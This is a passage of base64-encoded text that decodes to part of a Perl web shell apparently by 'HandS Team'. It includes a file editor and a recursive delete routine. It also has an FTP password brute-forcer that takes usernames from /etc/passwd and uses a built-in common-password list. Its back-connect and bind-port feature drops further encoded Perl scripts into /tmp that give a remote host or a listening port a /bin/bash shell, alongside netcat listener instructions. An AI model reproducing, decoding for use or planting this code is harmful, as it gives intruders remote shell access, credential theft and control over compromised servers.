T09PQpzdWIgU2F2ZUZpbGVGb3JtCnsKCW15ICRyZXN1bHQgPSIiOwoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJc3Vic3RyKCRSdW5Db21tYW5kLDAsNSk9IiI7CglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7Cgkkc2F2ZT0nPGJyPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzYXZlIiBjbGFzcz0ic3VibWl0IiA+JzsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRSdW5Db21tYW5kOwoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7CglpZigtdyAkRmlsZSkKCXsKCQkkcm93cz0iMjMiCgl9ZWxzZQoJewoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJFJ1bkNvbW1hbmQgPSAiZWRpdCAkUnVuQ29tbWFuZCI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygmRmlsZU9wZW4oJEZpbGUsMCkpOwoJJHJlc3VsdCAuPSAiPC90ZXh0YXJlYT4iOwoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRmlsZSBPcGVuCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIEZpbGVPcGVuKCQpewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICRiaW5hcnkgPSBzaGlmdDsKCW15ICRyZXN1bHQgPSAiIjsKCW15ICRuID0gIiI7CglpZigtZiAkZmlsZSl7CgkJaWYob3BlbihGSUxFLCRmaWxlKSl7CgkJCWlmKCRiaW5hcnkpewoJCQkJYmlubW9kZSBGSUxFOwoJCQl9CgkJCXdoaWxlICgoJG4gPSByZWFkIEZJTEUsICRkYXRhLCAxMDI0KSAhPSAwKSB7CgkJCQkkcmVzdWx0IC49ICRkYXRhOwoJCQl9CgkJCWNsb3NlKEZJTEUpOwoJCX0KCX1lbHNlCgl7CgkJcmV0dXJuICJOb3QncyBhIEZpbGUhIjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgpOb3RlOiBPbmx5IHNjYW4gZnJvbSAxIHRvIDMgdXNlciA6LVM8YnI+CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJicnV0ZWZvcmNlciIvPgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4KRU5ECmNob3AoJHJlc3VsdCAuPSBgbGVzcyAvZXRjL3Bhc3N3ZCB8IGN1dCAtZDogLWYxYCk7CiRyZXN1bHQgLj0gPDwnRU5EJzsKPC90ZXh0YXJlYT48L3RkPgo8dGQ+CgpQYXNzOjxicj4KPHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0icGFzcyI+MTIzcGFzcwoxMjMhQCMKMTIzYWRtaW4KMTIzYWJjCjEyMzQ1NmFkbWluCjEyMzQ1NTQzMjEKMTIzNDQzMjEKcGFzczEyMwphZG1pbgphZG1pbmNwCmFkbWluaXN0cmF0b3IKbWF0a2hhdQpwYXNzYWRtaW4KcEBzc3dvcmQKcEBzc3cwcmQKcGFzc3dvcmQKMTIzNDU2CjEyMzQ1NjcKMTIzNDU2NzgKMTIzNDU2Nzg5CjEyMzQ1Njc4OTAKMTExMTExCjAwMDAwMAoyMjIyMjIKMzMzMzMzCjQ0NDQ0NAo1NTU1NTUKNjY2NjY2Cjc3Nzc3Nwo4ODg4ODgKOTk5OTk5CjEyMzEyMwoyMzQyMzQKMzQ1MzQ1CjQ1NjQ1Ngo1Njc1NjcKNjc4Njc4Cjc4OTc4OQoxMjMzMjEKNDU2NjU0CjY1NDMyMQo3NjU0MzIxCjg3NjU0MzIxCjk4NzY1NDMyMQowOTg3NjU0MzIxCmFkbWluMTIzCmFkbWluMTIzNDU2CmFiY2RlZgphYmNhYmMKIUAjIUAjCiFAIyQlXgohQCMkJV4mKigKIUAjJCQjQCEKYWJjMTIzCmFuaHlldWVtCmlsb3ZleW91CjwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iSGFuZFMgVGVhbSIvPjwvdGQ+PC90cj4KPC9mb3JtPgo8L3RhYmxlPgpFTkQKcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlcgp7CglteSAkcmVzdWx0PSIiOwoJJFNlcnZlcj0kRU5WeydTRVJWRVJfQUREUid9OwoJaWYoJGlueyd1c2VyJ30gZXEgIiIpCgl7CgkJJHJlc3VsdCAuPSAmQnJ1dGVGb3JjZXJGb3JtOwoJfWVsc2UKCXsKCQl1c2UgTmV0OjpGVFA7IAoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7CgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsKCQljaG9tcChAdXNlcik7CgkJY2hvbXAoQHBhc3MpOwoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOwoJCWZvcmVhY2ggJHVzZXJuYW1lIChAdXNlcikKCQl7CgkJCWlmKCR1c2VybmFtZSBuZSAiIikKCQkJewoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQoJCQkJewoJCQkJCSRmdHAgPSBOZXQ6OkZUUC0+bmV3KCRTZXJ2ZXIpIG9yIGRpZSAiQ291bGQgbm90IGNvbm5lY3QgdG8gJFNlcnZlck5hbWVcbiI7IAoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkKCQkJCQl7CgkJCQkJCSRyZXN1bHQgLj0gIjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyJz5bK10gZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcjwvYT48YnI+XG4iOwoJCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQkJCWJyZWFrOwoJCQkJCX0KCQkJCQlpZigkaW57J3NsZWVwJ30gbmUgIjAiKQoJCQkJCXsKCQkJCQkJc2xlZXAoaW50KCRpbnsnc2xlZXAnfSkgKiAxMDAwKTsKCQkJCQl9CgkJCQkJJGZ0cC0+cXVpdCgpOwoJCQkJfQoJCQl9CgkJfQoJCSRyZXN1bHQgLj0gIlxuPGJyPj09PT09PT09PT0+Pj4+Pj4+Pj4+IEZpbmlzaGVkIDw8PDw8PDw8PDw9PT09PT09PT09PGJyPlxuIjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJhY2tCaW5kRm9ybQp7CglyZXR1cm4gPDxFTkQ7Cgk8YnI+PGJyPgoKCTx0YWJsZT4KCTx0cj4KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoJPHRkPkJhY2tDb25uZWN0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+Cgk8dGQ+IEhvc3Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgbmFtZT0iY2xpZW50YWRkciIgdmFsdWU9IiRFTlZ7J1JFTU9URV9BRERSJ30iPgoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI2IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4KCgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iSGFuZFMgVGVhbSI+PC90ZD4KCTwvZm9ybT4KCTwvdHI+Cgk8dHI+Cgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayEKCTxicj5bK10gVHJ5IGNoZWNrIHlvdXIgUG9ydCB3aXRoIDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy8iPmh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLzwvYT4KCTxicj5bK10gQ2xpZW50IGxpc3RlbiB3aXRoIGNvbW1hbmQ6IDxydW4+bmMgLXZ2IC1sIC1wIDxzcGFuIGlkPSJiYSI+ODA8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+CgoJPC90cj4KCTwvdGFibGU+CgoJPGJyPjxicj4KCTx0YWJsZT4KCTx0cj4KCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoJPHRkPkJpbmQgUG9ydDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoKCTx0ZD4gUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iMTQxMiIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JpJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij4KCgkgTSYjNzg1Mzt0IEtoJiM3ODQ5O3U6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxMiIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJ2aW5ha2lkIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkhhbmRTIFRlYW0iPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBUZXN0aW5nIC4uLi4KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+CgoJPC90cj4KCTwvdGFibGU+PGJyPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgdXNlIHBlcmwKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmQKewoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgJEZpbGUgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgJEZpbGUgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CglpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgIiRmaWxlIjsKCX0KCXJldHVybiAiMCI7Cn0Kc3ViIFBhcnNlRmlsZVNpemUoJCkKewoJbXkgJHNpemUgPSBzaGlmdDsKCWlmKCRzaXplIDw9IDEwMjQpCgl7CgkJcmV0dXJuICRzaXplLiAiIEIiOwoJfQoJZWxzZQoJewoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBLQiI7CgkJfQoJCWVsc2UgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMmYiLCRzaXplIC8gMTAyNCAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBNQiI7CgkJfQoJfQp9CnN1YiB0cmltKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmcgPX4gcy9eXHMrLy87Cgkkc3RyaW5nID1+IHMvXHMrJC8vOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIEFkZFNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZz1+IHMvXFwvXFxcXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIFRyaW1TbGFzaGVzKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmc9fiBzL1wvXC8vXC8vZzsKCSRzdHJpbmc9fiBzL1xcXFwvXFwvZzsKCXJldHVybiAkc3RyaW5nOwp9CnN1YiBMaXN0RGlyCnsKCW15ICRwYXRoID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyLiRQYXRoU2VwKTsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgb25TdWJtaXQ9XCJFbmNvZGVyKCdkJylcIiBhY3Rpb249JyRTY3JpcHRMb2NhdGlvbic+PHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13